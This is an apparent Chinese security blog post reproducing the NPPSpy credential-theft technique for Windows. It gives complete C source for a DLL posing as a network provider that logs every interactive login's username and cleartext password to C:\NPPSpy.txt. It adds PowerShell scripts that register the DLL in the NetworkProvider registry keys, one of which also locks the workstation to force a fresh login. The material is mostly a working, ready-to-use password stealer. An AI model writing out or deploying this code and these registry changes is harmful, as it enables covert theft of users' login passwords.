0x01 前言
前段时间,根据大佬Grzegorz Tworek发布的 :使用LanMan版本的NPLogonNotify()函数来嗅探用于登录Windows的每个密码。明文。无需重新启动。今天过来研究一波,同时借鉴 来自鸿鹄 ly大佬写的集成powershell调用,来进一步方便利用。
0x02 原理
通过修改注册表,借助系统函数,抓取Windows明文密码
0x03 复现
然后将下列代码编译为dll文件:
NPPSPy.c 源代码
#include <Windows.h>
// from npapi.h
#define WNNC_SPEC_VERSION 0x00000001
#define WNNC_SPEC_VERSION51 0x00050001
#define WNNC_NET_TYPE 0x00000002
#define WNNC_START 0x0000000C
#define WNNC_WAIT_FOR_START 0x00000001
//from ntdef.h
typedef struct _UNICODE_STRING
{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;
// from NTSecAPI.h
typedef enum _MSV1_0_LOGON_SUBMIT_TYPE
{
MsV1_0InteractiveLogon = 2,
MsV1_0Lm20Logon,
MsV1_0NetworkLogon,
MsV1_0SubAuthLogon,
MsV1_0WorkstationUnlockLogon = 7,
MsV1_0S4ULogon = 12,
MsV1_0VirtualLogon = 82,
MsV1_0NoElevationLogon = 83,
MsV1_0LuidLogon = 84,
} MSV1_0_LOGON_SUBMIT_TYPE, * PMSV1_0_LOGON_SUBMIT_TYPE;
// from NTSecAPI.h
typedef struct _MSV1_0_INTERACTIVE_LOGON
{
MSV1_0_LOGON_SUBMIT_TYPE MessageType;
UNICODE_STRING LogonDomainName;
UNICODE_STRING UserName;
UNICODE_STRING Password;
} MSV1_0_INTERACTIVE_LOGON, * PMSV1_0_INTERACTIVE_LOGON;
void SavePassword(PUNICODE_STRING username, PUNICODE_STRING password)
{
HANDLE hFile;
DWORD dwWritten;
hFile = CreateFile(TEXT("C:\\NPPSpy.txt"),
GENERIC_WRITE,
0,
NULL,
OPEN_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (hFile != INVALID_HANDLE_VALUE)
{
SetFilePointer(hFile, 0, NULL, FILE_END);
WriteFile(hFile, username->Buffer, username->Length, &dwWritten, 0);
WriteFile(hFile, L" -> ", 8, &dwWritten, 0);
WriteFile(hFile, password->Buffer, password->Length, &dwWritten, 0);
WriteFile(hFile, L"\r\n", 4, &dwWritten, 0);
CloseHandle(hFile);
}
}
__declspec(dllexport)
DWORD
APIENTRY
NPGetCaps(
DWORD nIndex
)
{
switch (nIndex)
{
case WNNC_SPEC_VERSION:
return WNNC_SPEC_VERSION51;
case WNNC_NET_TYPE:
return WNNC_CRED_MANAGER;
case WNNC_START:
return WNNC_WAIT_FOR_START;
default:
return 0;
}
}
__declspec(dllexport)
DWORD
APIENTRY
NPLogonNotify(
PLUID lpLogonId,
LPCWSTR lpAuthInfoType,
LPVOID lpAuthInfo,
LPCWSTR lpPrevAuthInfoType,
LPVOID lpPrevAuthInfo,
LPWSTR lpStationName,
LPVOID StationHandle,
LPWSTR* lpLogonScript
)
{
SavePassword(
&(((MSV1_0_INTERACTIVE_LOGON*)lpAuthInfo)->UserName),
&(((MSV1_0_INTERACTIVE_LOGON*)lpAuthInfo)->Password)
);
lpLogonScript = NULL;
return WN_SUCCESS;
}
通过修改注册表,来实现读取密码效果
- 将NPPSpy.dll复制到System32文件夹
- 添加
"NPPSpy"
在结束"ProviderOrder"
在HKLM\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order
- 创建
HKLM\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider
并设置以下值:"Class" = [REG_DWORD]2
"ProviderPath" = [REG_EXPAND_SZ]"%SystemRoot%\System32\NPPSPY.dll"
"Name" = [REG_SZ]"NPPSpy"
通过Powershell脚本进行调用,实现修改注册表的功能
$path = Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order" -Name PROVIDERORDER
$UpdatedValue = $Path.PROVIDERORDER + ",NPPSpy"
Set-ItemProperty -Path $Path.PSPath -Name "PROVIDERORDER" -Value $UpdatedValue
New-Item -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy
New-Item -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider
New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider -Name "Class" -Value 2
New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider -Name "Name" -Value NPPSpy
New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider -Name "ProviderPath" -PropertyType ExpandString -Value "%SystemRoot%\System32\NPPSPY.dl
将编译好的NPPSpy.dll复制到System32文件夹
运行ps1脚本:
然后 模拟用户注销、重新的登录,抓取到明文密码
为了方便,直接加入锁屏功能,一键修改注册表+锁屏:
$path = Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order" -Name PROVIDERORDER
$UpdatedValue = $Path.PROVIDERORDER + ",NPPSpy"
Set-ItemProperty -Path $Path.PSPath -Name "PROVIDERORDER" -Value $UpdatedValue
New-Item -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy
New-Item -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider
New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider -Name "Class" -Value 2
New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider -Name "Name" -Value NPPSpy
New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider -Name "ProviderPath" -PropertyType ExpandString -Value "%SystemRoot%\System32\NPPSPY.dll"
Function Lock-WorkStation {
$signature = @"
[DllImport("user32.dll", SetLastError = true)]
public static extern bool LockWorkStation();
"@
$LockWorkStation = Add-Type -memberDefinition $signature -name "Win32LockWorkStation" -namespace Win32Functions -passthru
$LockWorkStation::LockWorkStation() | Out-Null
}
Lock-WorkStation
0x04 参考链接
- https://docs.microsoft.com/en-us/windows/win32/api/npapi/nf-npapi-nplogonnotify
- https://github.com/gtworek/PSBits/tree/master/PasswordStealing/NPPSpy
转载请注明:Adminxe's Blog » 利用系统函数获取Windows明文密码